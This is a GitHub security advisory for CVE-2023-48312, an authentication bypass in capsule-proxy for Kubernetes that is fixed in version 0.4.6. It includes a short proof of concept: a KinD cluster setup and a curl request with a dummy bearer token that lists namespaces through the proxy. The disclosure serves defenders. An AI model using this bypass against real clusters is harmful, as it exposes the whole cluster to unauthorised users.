GitHub Advisoryadvisory · Go

GHSA-fpvw-6m5v-hqfp Capsule Proxy Authentication bypass using an empty token

CRITICAL Published 2023-11-24 Modified 2023-11-27 Official page ↗
Aliases
CVE-2023-48312
Ecosystem
Go
Packages
github.com/projectcapsule/capsule-proxy, github.com/clastix/capsule-proxy
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-287
Reviewed
2023-11-24

Affected packages

• Go github.com/projectcapsule/capsule-proxy: < 0.4.6 → fixed in 0.4.6 • Go github.com/clastix/capsule-proxy: < 0.4.6 → fixed in 0.4.6

Description

The privilege escalation is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. PoC Start a KinD cluster with the `anonymous-auth` value to `false`. If it is true, it uses anonymous permissions which are very limited by default ```yaml kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes: • role: control-plane kubeadmConfigPatches: • | kind: ClusterConfiguration apiServer: extraArgs: anonymous-auth: "false" ``` Install `capsule` and `capsule-proxy` ``` k port-forward svc/capsule-proxy 9001 Forwarding from 127.0.0.1:9001 -> 9001 Forwarding from [::1]:9001 -> 9001 Handling connection for 9001 ``` Then query the proxy ``` curl -g -k -H 'Authorization: Bearer f' -X 'GET' 'https://localhost:9001/api/v1/namespaces' ``` Impact The whole cluster is exposed to unauthorised users. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).

Related

Alias · CVE (1)

  • CVE-2023-48312 capsule-proxy is a reverse proxy for the capsule operator project. vulnerability

Weakness · CWE (1)

  • CWE-287 Improper Authentication weakness

References